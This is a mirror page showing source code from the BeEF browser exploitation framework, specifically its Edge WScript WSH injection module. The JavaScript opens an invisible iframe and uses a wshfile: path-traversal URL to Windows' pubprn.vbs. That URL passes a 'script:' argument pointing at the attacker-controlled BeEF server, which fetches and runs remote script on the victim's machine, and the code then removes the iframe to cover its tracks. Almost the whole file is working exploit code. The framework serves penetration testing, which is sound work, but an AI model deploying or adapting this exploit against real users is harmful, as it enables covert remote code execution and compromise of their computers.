Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/edge_wscript_wsh_injection/command.js
1873 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function(){
8
var timeout = 5;
9
10
if (!beef.browser.isEdge()) {
11
beef.debug("[Edge WScript WSH Injection] Browser is not supported.");
12
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser is not supported', beef.are.status_error());
13
return;
14
}
15
16
try {
17
var wsh_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
18
var beef_host = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port;
19
wsh_iframe_<%= @command_id %>.setAttribute('src', 'wshfile:test/../../../../../../../Windows/System32/Printing_Admin_Scripts/' + navigator.language + '/pubprn.vbs" 127.0.0.1 script:' + beef_host + '/<%= @command_id %>/index.html');
20
} catch (e) {
21
beef.debug("[Edge WScript WSH Injection] Could not create iframe");
22
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Could not create iframe', beef.are.status_error());
23
return;
24
}
25
26
// clean up
27
cleanup = function() {
28
document.body.removeChild(wsh_iframe_<%= @command_id %>);
29
}
30
setTimeout("cleanup()", timeout*1000);
31
});
32
33